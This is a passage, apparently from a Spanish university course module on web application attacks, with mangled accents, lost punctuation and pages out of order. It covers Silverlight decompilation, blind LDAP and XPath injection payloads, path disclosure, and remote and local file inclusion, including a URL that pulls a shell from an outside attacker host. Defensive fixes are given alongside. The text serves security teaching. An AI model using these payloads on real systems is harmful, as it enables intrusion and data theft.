tambieacuten nos permite poder extraer el coacutedigo exactamente igual que lo haciacutea-
mos en Flash
Para realizar esta accioacuten existen programas que efectuacutean esta conversioacuten y nos
muestran el coacutedigo Java original En la captura siguiente el programa usado
es Java Decompiler un programa gratuito que nos permitiraacute realizar estas ac-
ciones
CC-BY-NC-ND bull PID_00191662 70 Ataques a aplicaciones web
Figura 52 Pantalla principal del Java Decompiler
613 NET
Microsoft ha sumado su plataforma NET a la web Existen las aplicaciones
ASPNET que se ejecutan del lado del servidor y que no vamos a poder auditar
maacutes allaacute de los paraacutemetros que reciba Sin embargo estaacute poco a poco expan-
dieacutendose una nueva tecnologiacutea llamada Silverlight Silverlight es un compila-
do NET que se carga desde el servidor mediante un plugin en nuestro navega-
dor Esto al igual que Flash y Java nos permite analizar el coacutedigo fuente de
la aplicacioacuten Silverlight
Figura 53 Aplicacioacuten de muestra de Silverlight
CC-BY-NC-ND bull PID_00191662 71 Ataques a aplicaciones web
En la captura anterior se puede observar una aplicacioacuten Silverlight muy simple
Nos va a solicitar usuario y contrasentildea para lograr entrar Esta aplicacioacuten estaacute
programada para que compruebe los datos introducidos con unos datos que
estaacuten escritos dentro de la aplicacioacuten Esto es un grave fallo de seguridad y
vamos a ver coacutemo analizar el fichero para sacar el usuario y la contrasentildea
vaacutelidos El detalle de coacutedigo Javascript seriacutea
Para descargar una aplicacioacuten Silverlight debemos localizar dentro del coacutedigo
HTML la seccioacuten de coacutedigo que realice la carga del fichero XAP Este fichero
contiene todo el coacutedigo de la aplicacioacuten Silverlight y seraacute lo que nuestro na-
vegador interprete
El fichero XAP contiene una serie de ficheros necesarios para la ejecucioacuten del
programa Estos ficheros son compilados de NET y pueden ser analizados me-
diante programas como NET Reflector Los ficheros contenidos en este fiche-
ro pueden ser extraiacutedos mediante el uso de cualquier programa descompresor
pues realmente es un fichero ZIP
Figura 54ndash Fichero xap descomprimido
Una vez descomprimido se nos muestran una serie de archivos Estos archivos
contienen informacioacuten referente a la interfaz usada por la aplicacioacuten pero
realmente los datos importantes se encuentran en el fichero Test001dll (en el
ejemplo actual) Este fichero puede ser descompilado mediante el programa
indicado anteriormente y acceder al coacutedigo fuente interno En este caso se
observan dos clases principales App y MainPage
CC-BY-NC-ND bull PID_00191662 72 Ataques a aplicaciones web
Figura 55 Detalle del programa descompilado
En la imagen anterior observamos coacutemo en la clase MainPage existe un meacuteto-
do btnOK_Click Este meacutetodo es el llamado cuando pulsamos sobre el botoacuten
de Entrar de la aplicacioacuten En el coacutedigo asociado vemos coacutemo se comprueba el
nombre de usuario con la cadena ldquotestrdquo y la clave con la cadena ldquomelonrdquo
Tanto Silverlight como los applets Java o las aplicaciones Flash son una mera
forma de poner un contenido de una manera maacutes vistosa para el usuario Sin
embargo a veces los desarrolladores web lo usan como un lenguaje de progra-
macioacuten web completamente vaacutelido algo que se ha demostrado muy inseguro
CC-BY-NC-ND bull PID_00191662 73 Ataques a aplicaciones web
Bibliografiacutea
Andreu A (2006) Professional Pen Testing for Web Applications Ed Wrox
Clarke J (2009) SQL Injection Attacks and defense E Syngress
Grossman J et al (2007) Xss Attacks Cross Site Scripting Exploits And Defense Ed Syngress
Scambray J Shema M and Sima C (2006) Hacking Expose Web Applications Ed Mc-Graw-HillOsborne Media
Stuttard D (2007) The Web Application Hackers Handbook Discovering and Exploiting Secu-rity Flaws Ed Wiley
CC-BY-NC-ND bull PID_00191662 41 Ataques a aplicaciones web
De tal manera que todas aquellas inyecciones que devolvieran el icono de la
impresora en la paacutegina web seriacutean respuestas afirmativas que nos indicariacutean
la existencia de ese tipo de objetos
Otra forma maacutes eficiente seriacutea realizando un barrido en el espectro del alfa-
beto de posibles valores utilizando una buacutesqueda con comodines para ello
realizariacuteamos un aacuterbol que comenzariacutea por todas las letras del abecedario de
la siguiente forma
(amp(objectClass=)(objectClass=a))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=)(objectClass=b))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=)(objectClass=z))(amp(objectClass=foo)(impresoraTipo=Epson))
De tal manera que seguiriacuteamos desplegando el aacuterbol de aquellas que hubieran
dado una respuesta positiva
(amp(objectClass=)(objectClass=aa))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=)(objectClass=ab))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=)(objectClass=az))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=)(objectClass=ba))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=)(objectClass=bb))(amp(objectClass=foo)(impresoraTipo=Epson))
Y asiacute sucesivamente con lo que desplegando siempre las positivas podriacuteamos
llegar a saber el nombre de todos los objetcClass de un sistema
Figura 28 Aacuterbol de despliegue Se profundizaraacute en todas las respuestas positivas (color verde)
Este mecanismo no solo funciona para objectClass sino que seriacutea vaacutelido
para cualquier atributo que un objeto compartiera con el atributo fijo Una
vez sacados los objectClass podriacuteamos proceder a realizar el mismo reco-
CC-BY-NC-ND bull PID_00191662 42 Ataques a aplicaciones web
rrido para extraer la informacioacuten de ellos por ejemplo si queremos extraer los
nombres de todos los usuarios de un sistema bastariacutea con realizar el barrido
con la siguiente inyeccioacuten
(amp(objectClass=user)(uid=a))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=user)(uid=b))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=user)(uid=z))(amp(objectClass=foo)(impresoraTipo=Epson))
Este meacutetodo obliga a hacer un recorrido en amplitud por un aacuterbol cuya posi-
bilidad de expandirse en cada nodo siempre es igual al alfabeto completo Se
puede reducir este alfabeto realizando un recorrido para averiguar queacute carac-
teres no estaacuten siendo utilizados en ninguna posicioacuten en ninguacuten objeto utili-
zando un recorrido de la siguiente forma
(amp(objectClass=user)(uid=a))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=user)(uid=b))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=user)(uid=z))(amp(objectClass=foo)(impresoraTipo=Epson))
De esta forma se pueden excluir del alfabeto aquellos caracteres que no hayan
devuelto un resultado positivo tras este primer recorrido Si deseaacuteramos bus-
car un uacutenico valor podriacuteamos realizar una buacutesqueda binaria de cada uno de
los caracteres utilizando los operadores relacionales lt= o gt= para reducir el
nuacutemero de peticiones
En los atributos que almacenan valores numeacutericos no es posible utilizar el co-
modiacuten para ldquobooleanizarrdquo la informacioacuten almacenada es por tanto necesa-
rio realizar la buacutesqueda de valores utilizando los operadores gt= y lt=
(amp(objectClass=user)(uid=kurt)(edadgt=1)(amp(objectClass=foo)(impresoraTipo=Epson))
223 Blind LDAP Injection en un entorno ldquoORrdquo
En esta situacioacuten tenemos una consulta generada en el lado del servidor del
siguiente tipo
(|(atributo1=valor1)(atributo2=valor2))
En este entorno la loacutegica que debemos utilizar es al contrario En lugar de fijar
el valor del primer filtro a un valor siempre cierto deberemos fijarlo a un valor
siempre falso y a partir de ahiacute extraer la informacioacuten es decir realizariacuteamos
una inyeccioacuten de la siguiente forma
(|(objectClass=void)(objectClass=void))(amp(objectClass=void)(impresoraTipo=Epson))
CC-BY-NC-ND bull PID_00191662 43 Ataques a aplicaciones web
Con esta inyeccioacuten obtendremos el valor negativo de referencia En el ejemplo
planteado de las impresoras disponibles deberemos obtener un resultado sin
el icono de la impresora Luego podremos inferir la informacioacuten cuando sea
verdadero el segundo filtro
(|(objectClass=void)(objectClass=users))(amp(objectClass=void)(impresoraTipo=Epson))
(|(objectClass=void)(objectClass=personas))(amp(objectClass=void)(impresoraTipo=Epson))
(|(objectClass=void)(objectClass=usuarios))(amp(objectClass=void)(impresoraTipo=Epson))
(|(objectClass=void)(objectClass=logins))(amp(objectClass=void)(impresoraTipo=Epson))
(|(objectClass=void)(objectClass=))(amp(objectClass=void)(impresoraTipo=Epson))
De igual forma que en el ejemplo con el operador AND podriacuteamos extraer toda
la informacioacuten del aacuterbol LDAP utilizando los comodines
224 Ejemplos Blind LDAP Injection
Para mostrar la potencia de los ataques Blind LDAP Injection se ha creado
dentro de un aacuterbol LDAP sobre ADAM una estructura con objetos Printer En
la siguiente figura se pueden ver los atributos de un objeto de tipo Printer
Figura 29 Aacuterbol LDAP sobre ADAM Objeto tipo Printer
Sobre este aacuterbol LDAP trabaja una aplicacioacuten web que se conecta entre otros
repositorios a este aacuterbol para obtener informacioacuten En este caso tenemos una
aplicacioacuten programada en php llamada printerstatusphp que recibe co-
mo paraacutemetro el nombre de la impresora y construye una consulta LDAP de
la siguiente forma
(amp(cn=HP Laserjet 2100)(objectclass=printer))
El resultado es una paacutegina web en la que se accede a propiedades de la impre-
sora en concreto
CC-BY-NC-ND bull PID_00191662 44 Ataques a aplicaciones web
Figura 30 Propiedades de la impresora HP LaserJet 2100
El paraacutemetro idprinter se utiliza para construir la consulta LDAP y es vul-
nerable a LDAP Injection sin embargo no se muestra ninguno de los datos de
los objetos que se puedan seleccionar con cualquier consulta ejecutada por
lo que uacutenicamente se puede realizar una explotacioacuten a ciegas Las siguientes
capturas muestran ejemplos de coacutemo extraer informacioacuten del aacuterbol LDAP me-
diante Blind LDAP Injection
1)Fase1descubrimientodeatributos
El atacante inyecta atributos para descubrir si existen o no Cuando el atributo
no existe la consulta LDAP no devuelve ninguacuten objeto y la aplicacioacuten no
muestra datos de ninguna impresora
Hay que tener en cuenta que el comodiacuten vale uacutenicamente para los valores de
tipo alfanumeacutericos luego si el atributo fuera de otro tipo no se podriacutea descubrir
asiacute Para los tipos numeacutericos y de tipo fecha se utilizan los operadores gt= lt=
o = y para los booleanos las constantes true y false
Figura 31 Atributo IPaddress no existe o no tiene valor alfanumeacuterico
En el siguiente ejemplo el atributo distinguisedname existe y ademaacutes es de
tipo alfanumeacuterico ya que funciona perfectamente con el comodiacuten ldquordquo Esto
se puede comprobar porque la paacutegina de resultados ha devuelto datos de la
impresora que se estaba utilizando
CC-BY-NC-ND bull PID_00191662 45 Ataques a aplicaciones web
Figura 32 Atributo distinguisedname existe y tiene valor alfanumeacuterico
Como se puede ver hay diferencias entre las paacuteginas que devuelven datos y las
que no con lo que se puede automatizar la extraccioacuten de toda la informacioacuten
y el descubrimiento de los atributos simplemente comparando los resultados
HTML obtenidos
En la figura 33 se obtiene de nuevo un resultado positivo que confirma la
existencia de un atributo department
Figura 33 Atributo Department existe y tiene valor Unicode extraiacuteble
2)Fase2reduccioacutendelalfabeto
Una de las opciones que se pueden sopesar es realizar una reduccioacuten del al-
fabeto posible de valores en un campo La idea consiste en saber si existe o
no un determinado caraacutecter en un atributo Si el atributo tiene 15 caracteres
de longitud y tenemos que probar por ejemplo 28 letras por 15 caracteres
tendriacutean que realizarse un total de 420 peticiones para extraer la informacioacuten
Sin embargo se puede realizar un recorrido que nos diga si una letra pertene-
ce o no al valor De esa manera realizariacuteamos primero 28 peticiones que nos
dejaraacuten en el peor de los casos una letra distinta por cada posicioacuten es decir
15 letras Luego en el peor de los casos tendriacuteamos 15 letras x 15 posiciones
+ 28 peticiones de reduccioacuten del alfabeto es decir 253 peticiones Ademaacutes se
puede inferir que si una letra ya ha sido utilizada puede que no se vuelva a
utilizar con lo que tendriacuteamos una reduccioacuten auacuten mayor si la letra se utiliza
como uacuteltima opcioacuten dejando la probabilidad en un sumatorio de 115 + 28
es decir 148 peticiones
CC-BY-NC-ND bull PID_00191662 46 Ataques a aplicaciones web
Como conclusioacuten se puede obtener que la reduccioacuten del alfabeto es una buena
opcioacuten a la hora de extraer valores de campos
En los siguientes ejemplos vamos a ver coacutemo averiguar si un caraacutecter pertenece
o no al valor del campo
Figura 34 La letra b no pertenece al valor del atributo department porque no se obtienendatos
Figura 35 La letra n siacute que pertenece al valor del atributo department porque siacute que seobtienen datos
Esta reduccioacuten dejariacutea un conjunto de valores vaacutelidos que pueden emplearse
para extraer el valor del dato mediante un proceso de despliegue
3)Fase3despliegue
En esta fase una vez reducido el alfabeto hay que ordenar las letras obtenidas
para ello comenzaremos un proceso desde la primera posicioacuten
Figura 36 El valor de department no comienza por la letra a porque no se obtienen datos
CC-BY-NC-ND bull PID_00191662 47 Ataques a aplicaciones web
Se iraacuten probando letras hasta que se obtenga un resultado positivo que con-
firme que con ese patroacuten se devuelven datos
Figura 37 El valor de department siacute comienza por la letra f porque siacute se obtienen datos
Una vez descubierta la primera letra esta se mantendraacute fija y se procederaacute a
buscar la segunda letra sustituyendo siempre los caracteres obtenidos en la
fase de reduccioacuten del alfabeto
Figura 38 El valor de department no comienza por las letras fa porque no se obtienen datos
Figura 39 El valor de department siacute que comienza por las letras fi porque siacute que se obtienendatos
Este proceso se repetiriacutea con todos los atributos descubiertos y hasta que se
hubieran descubierto todas las letras permitiendo extraer informacioacuten oculta
de los objetos del aacuterbol LDAP
LDAP es una tecnologiacutea en expansioacuten cuya implantacioacuten en los sistemas de di-
rectorio y metadirectorio la hacen cada diacutea maacutes popular Los entornos intranet
realizan uso intensivo de esta tecnologiacutea para ofrecer sistemas de Single Sing-
On e incluso es comuacuten encontrar entornos LDAP en los servicios de Internet
CC-BY-NC-ND bull PID_00191662 48 Ataques a aplicaciones web
Esta popularidad hace que sea necesario incluir las pruebas anteriores dentro
de los procesos de auditoriacutea de seguridad de las aplicaciones web Las pruebas
de inyecciones de auditoriacutea que se estaban realizando hoy en diacutea siguiendo
la documentacioacuten existente son de poca ayuda pues en los entornos maacutes
comunes como ADAM u OpenLDAP no funcionan
La solucioacuten para proteger las aplicaciones frente a este tipo de inyecciones
consiste como en otros entornos de explotacioacuten en filtrar los paraacutemetros en-
viados desde el cliente En este caso filtrar operadores pareacutentesis y comodines
para que nunca un atacante sea capaz de inyectar loacutegica dentro de nuestra
aplicacioacuten
23 XPath
XPath es un lenguaje que permite la buacutesqueda de informacioacuten en do-
cumentos XML por medio de expresiones especiacuteficas para su estructura
Estaacute pensado para optimizar los tiempos de buacutesqueda haciendo uso de
la organizacioacuten de nodos que poseen los ficheros XML
Como cualquier medio para el almacenamiento y buacutesqueda de datos es posi-
ble implementarlo en aplicaciones web de modo que pueden sustituir a los
SGBD (sistema gestor de base de datos) basados en SQL
231 XPath injection y Blind XPath Injection
XPath Injection es una vulnerabilidad que radica en la modificacioacuten de los
paraacutemetros de buacutesqueda a la hora de formar una query XPath
Una inyeccioacuten XPath sucede cuando se inserta coacutedigo XPath dentro de la sen-
tencia y ejecuta el coacutedigo inyectado dentro del motor de buacutesqueda XML
Este tipo de vulnerabilidades basadas en inyecciones (XPath Injection SQL
Injection LDAP Injection) son fallos de seguridad causados por una mala
programacioacuten de la aplicacioacuten que hace la conexioacuten contra el motor de buacutes-
queda sin importar que la aplicacioacuten sea de escritorio o web
Para conocer coacutemo funciona esta teacutecnica en mayor profundidad vamos a su-
poner un caso praacutectico Tenemos una aplicacioacuten web que hace una conexioacuten
contra un aacuterbol XML con la siguiente estructura
ltxml version=10 encoding=UTF-8gt
ltusuariosgt
ltusuario login=admin password=t1oviv0 nivel=3 gt
ltusuario login=usuario password=miPasswordXml nivel=1 gt
ltusuario login=invitado password=invitado nivel=0 gt
CC-BY-NC-ND bull PID_00191662 49 Ataques a aplicaciones web
ltusuariosgt
La aplicacioacuten web maneja un sistema de autenticacioacuten basado en XML donde
para realizar la autentificacioacuten tiene un formulario en el que solicita un usuario
y un password con los que posteriormente formara una query de XPath con
la siguiente estructura
string xpath = usuariosusuario[login= + usuario + and password= + password + ]
En un entorno seguro esta query de XPath no devolveraacute ninguacuten resultado posi-
tivo a no ser que el usuario y el password correspondan con los establecidos en
el documento XML pero si se trata de un entorno inseguro donde los campos
de entrada (usuario y password) no estaacuten filtrados seriacutea posible realizar una
inyeccioacuten
Si un usuario introdujera en el campo password un valor como abclsquo or
lsquoarsquo=rsquoarsquo or lsquoarsquo=rsquob seriacutea suficiente para saltarse el sistema de login y acceder
a la zona privada ya que el motor de buacutesqueda XML devolveriacutea un resultado
positivo Teniendo en cuenta que primero se evaluacutean los operadores AND y
posteriormente los OR el resultado booleano que tratariacutea el motor de buacutesque-
da seriacutea el que nos muestra el siguiente ejemplo
Figura 40 Evaluacioacuten de los paraacutemetros en XPath
Como hemos visto con este tipo de inyecciones es posible hacer modificacio-
nes en la query para obtener el resultado deseado (truefalse) pero es posible ir
mucho maacutes allaacute y averiguar la estructura del aacuterbol XML con todos sus nodos
atributos y elementos
Realizar este tipo de ataques es posible Se utiliza una variacioacuten de ldquoXPath
Injectionrdquo llamada ldquoBlind XPath Injectionrdquo la cual consiste en averiguar valores
del aacuterbol XML basaacutendose en el resultado booleano que devuelve la aplicacioacuten
vulnerable
Retomando el caso praacutectico anterior supongamos que cuando realizamos login
en la aplicacioacuten (introduciendo abclsquo or lsquoarsquo=rsquoarsquo or lsquoarsquo=rsquob) la aplicacioacuten
devuelve un mensaje de autentificacioacuten donde dice ldquoBienvenidordquo y en caso
de que la query XPath devuelva un resultado negativo (cuando se realiza una
inyeccioacuten que devuelva false) muestre un mensaje donde diga ldquoUsuario yo
password incorrectordquo
CC-BY-NC-ND bull PID_00191662 50 Ataques a aplicaciones web
En este caso nos encontramos claramente ante una aplicacioacuten vulnerable a
Blind XPath Injection pero si aun asiacute queremos estar seguros de que se trata de
un motor XML y no SQL podemos utilizar funciones como count() la
cual devuelve el nuacutemero total de nodos en el aacuterbol que siempre deberiacutea tener
al menos 1 nodo
bull Inyeccioacuten de cadena alsquo or count()gt0 or lsquoarsquo=rsquob
bull Inyeccioacuten numeacuterica 0 or count()gt0 or 1=1
Tambieacuten es posible la utilizacioacuten de operadores OR en mayuacutesculas ya que
estos no son aceptados en buacutesquedas XML y siacute que lo son en buacutesquedas SQL
(estas admiten operadores tanto en minuacutesculas como en mayuacutesculas) de tal
modo que se podriacutea concluir si el motor de buacutesqueda trabaja con XML
bull Motor SQL lsquo OR 1=1 OR lsquorsquo=rsquo
bull Motor SQLXML lsquo or 1=1 or lsquorsquo=rsquo
Si con esta prueba obtenemos un resultado positivo no hay duda de que es un
sistema XML es vulnerable y ademaacutes es posible extraer todo el aacuterbol XML
iquestcoacutemo utilizando teacutecnicas de ldquobooleanizacioacutenrdquo
El primer paso a la hora de empezar un ataque para descargarse el aacuterbol seriacutea
sacar los valores del nodo raiacutez que contiene el resto de los nodos Los pasos
que habriacutea que realizar seriacutean los siguientes
1) Extraer el nombre del nodo
2) Extraer los atributos del nodo
3) Comprobar si es un elemento3 En caso positivo obtener el valor
4) Calcular el nuacutemero de nodos hijos que contiene el nodo que se estaacute anali-
zando
5) Volver a realizar el paso lsquo1rsquo con los nodos extraiacutedos en el paso lsquo4rsquo
Para extraer el nombre del nodo primero seriacutea necesario calcular el nuacutemero de
caracteres del mismo Esto se puede hacer utilizando la funcioacuten string-length
[PATH]childnode()[position()=[NUMNODO] and string-length (name())gt[NUMERO]]
Donde [PATH] seriacutea el nodo a analizar [NUMNODO] el nuacutemero de nodo (ya
que puede haber varios nodos con el mismo nombre dentro del mismo padre)
y [NUMERO] seriacutea la longitud del nombre del nodo De este modo utilizando
fuerza bruta y teacutecnicas de optimizacioacuten como la buacutesqueda binaria seriacutea posi-
ble sacar la longitud del nombre de la siguiente manera
(3)Si el nodo es un elemento nopuede contener subnodos por loque los pasos 4 y 5 no se realiza-riacutean
CC-BY-NC-ND bull PID_00191662 51 Ataques a aplicaciones web
or childnode()[position()=1 and string-length(name())gt20] or 1=1 and =
or childnode()[position()=1 and string-length(name())gt10] or 1=1 and =
or childnode()[position()=1 and string-length(name())gt5] or 1=1 and =
or childnode()[position()=1 and string-length(name())gt7] or 1=1 and =
or childnode()[position()=1 and string-length(name())gt9] or 1=1 and =
or childnode()[position()=1 and string-length(name())=8] or 1=1 and =
Una vez se sabe que la longitud del nodo son ocho caracteres se puede sacar
el nombre del nodo siguiendo el mismo mecanismo teacutecnicas de ldquobooleaniza-
cioacutenrdquo e imaginacioacuten
or childnode()[position()=1 and starts-with(name()a)] or 1=1 and =
or childnode()[position()=1 and starts-with(name()b)] or 1=1 and =
or childnode()[position()=1 and starts-with(name()c)] or 1=1 and =
or childnode()[position()=1 and starts-with(name()u)] or 1=1 and =
or childnode()[position()=1 and starts-with(name()ua)] or 1=1 and =
or childnode()[position()=1 and starts-with(name()ub)] or 1=1 and =
or childnode()[position()=1 and starts-with(name()us)] and =
or childnode()[position()=1 and starts-with(name()usu)] and =
Seriacutea el mismo proceso para cada letra del nombre utilizando un charset de
caracteres y extraer cada caraacutecter desde la posicioacuten 1 hasta la posicioacuten maacutexi-
ma que seriacutea la longitud del nombre extraiacuteda inicialmente
Los pasos para extraer los atributos y elementos seriacutean exactamente los mis-
mos pero variando la consulta XPath con las siguientes plantillas
1) Para extraer informacioacuten referente a los nodos
bull Longitud del nombre
[PATH]childnode()[position()=[NUMNODO] and
string-length(name())gt[NUMERO]]
bull Nombre del nodo
[PATH]childnode()[position()=[NUMNODO] and
starts-with(name()[VALORES])]
bull Nuacutemero de subnodos
count([PATH]childnode())gt[NUMERO]
2) Para extraer la informacioacuten de los atributos
bull Nuacutemero de atributos de un nodo
count([PATH]childnode()[[NUMNODO]])gt[NUMERO]
CC-BY-NC-ND bull PID_00191662 52 Ataques a aplicaciones web
bull Longitud del nombre del atributo
[PATH]childnode()[position()=[NUMNODO]] and
string-length([PATH]childnode()
[[NUMNODO]][position()=[NUMATT] and
string-length(name())gt[NUMERO]])gt0
bull Longitud del valor del atributo
[PATH]childnode()[position()=[NUMNODO]] and
string-length([PATH]childnode()
[[NUMNODO]][position()=[NUMATT]])gt[NUMERO]
bull Nombre del atributo
[PATH]childnode()[position()=[NUMNODO]] and
[PATH]childnode()[[NUMNODO]][position()=[NUMATT] and
starts-with(name()[VALORES])
bull Valor del atributo
[PATH]childnode()[position()=[NUMNODO]] and
starts-with([PATH]childnode()
[[NUMNODO]][position()=[NUMATT]] [VALORES])
3) Para extraer el contenido de un nodo los elementos
bull Longitud del elemento
string-length([PATH]childtext())gt[NUMERO]
bull Valor del elemento
starts-with([PATH]childtext()[VALORES])
Esta teacutecnica puede resultar muy tediosa y lenta si se realiza manualmente pero
para ello ya existen herramientas que hacen este proceso de forma automaacuteti-
ca y ademaacutes utilizan teacutecnicas de optimizacioacuten como reduccioacuten del charset
para encontrar los datos realizando un reducido nuacutemero de consultas
Implementar una reduccioacuten de charset es algo simple basta con hacer una
query por cada caraacutecter y comprobar si ese caraacutecter existe en alguacuten nodo ele-
mento o atributo del aacuterbol En caso negativo se elimina ese caraacutecter del char-
set Esto puede hacerse con la siguientes query
[contains(name() a)] or [contains(name() a)]
or attribute[contains(a)] or contains( a)
Si esta nos devuelve un resultado positivo se mantiene la letra lsquoarsquo en el charset
de letras a probar sin embargo si nos devuelve la paacutegina que hemos asociado
a una peticioacuten falsa podremos eliminar el caraacutecter a del resto de pruebas a
realizar pues ya sabremos que nunca va a aparecer
CC-BY-NC-ND bull PID_00191662 53 Ataques a aplicaciones web
Otra teacutecnica interesante para la optimizacioacuten del Blind XPath Injection es el
de ldquolearn wordsrdquo de modo que cuando se extrae el nombre de un nodo ele-
mento o atributo se guarda en una lista Cuando se encuentre otro nodoele-
mentoatributo de una longitud de nombre igual a la de alguacuten elemento ya
extraiacutedo hacer comprobaciones con los nodos ya conocidos pues es probable
que si tienen la misma longitud tengan el mismo nombre
En la siguiente imagen se muestra una herramienta en funcionamiento una
vez descargado el aacuterbol XML de una aplicacioacuten web vulnerable
Figura 41 Aacuterbol XML extraiacutedo mediante una aplicacioacutenautomatizada
232 iquestCoacutemo protegerse de teacutecnicas de XPath Injection
La proteccioacuten contra este tipo de teacutecnicas es muy simple y debe correr de
la mano del programador de la aplicacioacuten Uacutenicamente hay que realizar un
filtrado de las entradas teniendo en cuenta dos factores
bull Si la entrada es numeacuterica antes de formar la query comprobar que el valor
introducido en la entrada es un valor numeacuterico y no una cadena de texto
bull Si la entrada es de texto remplazar los caracteres peligrosos como la comi-
lla simple y doble por rsquo y rdquo
CC-BY-NC-ND bull PID_00191662 54 Ataques a aplicaciones web
3 Ataques de Path Transversal
Mediante las teacutecnicas de Path Transversal se va a lograr acceder a in-
formacioacuten referente al servidor desde simplemente el directorio donde
se estaacute ejecutando la aplicacioacuten web hasta lograr descargar ficheros del
servidor Cada uno de estos fallos recibe un nombre y lo estudiaremos
por separado
La informacioacuten obtenida puede ser usada por un atacante para lograr acceder
a otros recursos de la paacutegina mediante alguacuten tipo de ingenieriacutea social o dedu-
ciendo posibles nombres de ficheros yo carpetas para posteriormente acceder
a ellos
Vamos a analizar desde los menos peligrosos hasta los maacutes criacuteticos viendo
coacutemo unos se apoyan en los anteriores y coacutemo en cierta medida dependen
unos de los otros y realmente estaacuten muy relacionados entre siacute
31 Path Disclosure
Este problema no es especiacutefico de una tecnologiacutea sino que puede darse en
cualquier lenguaje de programacioacuten y en cualquier tecnologiacutea de servidor Es-
ta vulnerabilidad no es criacutetica por siacute misma pero puede facilitar las cosas a
un atacante que intente cualquiera de los fallos que se comentaraacuten posterior-
mente
El concepto es lograr conocer la ruta en la que se estaacute ejecutando la apli-
cacioacuten Para ello nos valdremos de mensajes de error (provocados o no)
que contengan rutas a ficheros Esto lo lograremos introduciendo carac-
teres erroacuteneos en los paraacutemetros o accediendo a rutas que no existan
Figura 42 Fallo de Path Disclosure
CC-BY-NC-ND bull PID_00191662 55 Ataques a aplicaciones web
Este mensaje de error puede darse al intentar reproducir cualquiera de los de-
maacutes fallos explicados en esta seccioacuten Normalmente los lenguajes de progra-
macioacuten del lado del servidor si no tienen los errores controlados mostraraacuten
un mensaje de error predefinido que usualmente contiene la ruta del fichero
afectado
Evitar este tipo de errores es tan sencillo como generar nuestras propias paacutegi-
nas de error Tambieacuten controlar cualquier tipo de excepcioacuten en el coacutedigo es
buena praacutectica En definitiva no dejar que los mensajes por defecto se mues-
tren nunca al usuario
CC-BY-NC-ND bull PID_00191662 56 Ataques a aplicaciones web
4 Ataques de inyeccioacuten de ficheros
41 Remote file inclusion
Remote file inclusion es la vulnerabilidad consistente en ejecutar coacutedigo
remoto dentro de la aplicacioacuten vulnerable Se basa en la idea de que al
igual que es posible cargar un fichero local para su inclusioacuten dentro de la
paacutegina podriacuteamos cargar uno remoto que contuviese coacutedigo malicioso
Esto es posible en lenguajes interpretados donde podemos incluir un fichero
con coacutedigo y antildeadirlo a la ejecucioacuten En el siguiente ejemplo se toma como
base una paacutegina programada en PHP
httpwwwmipaginacommostrarphppag=indexphp
PHP hace uso de funciones que permiten la inclusioacuten de ficheros externos
para generar paacuteginas maacutes complejas y maacutes completas En el hipoteacutetico ejemplo
anterior el fichero mostrarphp hariacutea uso de alguna de estas funciones de PHP
que permiten la inclusioacuten dinaacutemica de ficheros
bull include($pag)
bull require($pag)
bull include_once($pag)
bull require_once($pag)
Estas funciones reciben un paraacutemetro (llamado $pag en este ejemplo) que in-
dica la ruta del fichero que ha de incluirse Si la variable pag no estaacute suficien-
temente controlada podremos hacer una llamada a un fichero externo que se
descargaraacute e interpretaraacute en el lado del servidor
httpwwwmipaginacommostrarphppag=httpmalocomshelltxt
En la llamada anterior el servidor mipaginacom solicitaraacute a malocom el
fichero shelltxt que incluiraacute coacutedigo PHP vaacutelido que se ejecutaraacute en
mipaginacom
Este fallo se debe a una mala configuracioacuten del servidor PHP el cual permite la
inclusioacuten de ficheros externos La configuracioacuten correcta deberiacutea ser la prohi-
bicioacuten total de realizar estas acciones
CC-BY-NC-ND bull PID_00191662 57 Ataques a aplicaciones web
Para establecer una configuracioacuten adecuada en el inteacuterprete de PHP debemos
buscar el fichero phpini de configuracioacuten (en Linux suele estar en etc
php5phpini) y establecer la clave de configuracioacuten allow_url_include
a false
Este fallo de seguridad puede dar lugar a que un atacante logre ejecutar cual-
quier coacutedigo deseado en el servidor web con los riesgos que esto conlleva
Existen ficheros ya pregenerados para ser incluidos dentro del flujo de ejecu-
cioacuten de la aplicacioacuten web Van desde un simple inteacuterprete de comandos a una
completa shell equipada con su propio explorador de ficheros opciones pa-
ra subir o descargar ficheros e incluso la posibilidad de ejecutar programas en
el equipo remoto
Figura 43 Shell remota ejecutaacutendose
Existe una gran variedad de shells remotas que podemos encontrar en Internet
Por ejemplo la shell mostrada en la figura anterior se llama c99 aunque existen
otras como la r57 o c100 De todas maneras siempre podemos programarnos
una propia con la funcionalidad que necesitemos
42 Local file inclusion
Esta vulnerabilidad al contrario que la anterior afecta tanto a lenguajes com-
pilados como interpretados Se basa en la posibilidad de incluir dentro de la
paacutegina un fichero local del usuario con el que se ejecuta el servidor de aplica-
ciones web que tenga permisos de lectura
Esta vulnerabilidad puede ocurrir en cualquier lugar de un sitio web pero suele
ser maacutes comuacuten en dos sitios bien diferenciados
bull Paacuteginas de plantillas carga un fichero desde otro y le da formato
CC-BY-NC-ND bull PID_00191662 58 Ataques a aplicaciones web
bull Paacuteginas de descargas recibe un paraacutemetro con el nombre del fichero a
descargar y lo enviacutea al cliente
El concepto tras ambos fallos es el mismo y las implementaciones defectuo-
sas a veces tambieacuten Para lograr explotar esta vulnerabilidad de una manera
satisfactoria deberiacuteamos poder hacer llamadas a ficheros fuera de la ruta ori-
ginal Esto lo hariacuteamos intentando incluir ficheros de un directorio superior
usando los caracteres en sistemas Linux o en sistemas Windows maacutes
el nombre de un fichero del que conozcamos su existencia Por ejemplo sos-
pechamos que la siguiente URL tiene un fallo de local file inclusion
httpwwwvictimacomnoticiasdetallephpid=4amptipo=deportesphp
Entonces para corroborarlo y determinar que efectivamente nos encontramos
frente a un fallo de remote file inclusion podriacuteamos modificar la URL hasta que
quedase como sigue
httpwwwvictimacomnoticiasdetallephpid=4amptipo=indexphp
Con esta simple comprobacioacuten podriacuteamos detectar si una paacutegina va a ser vul-
nerable a local file inclusion
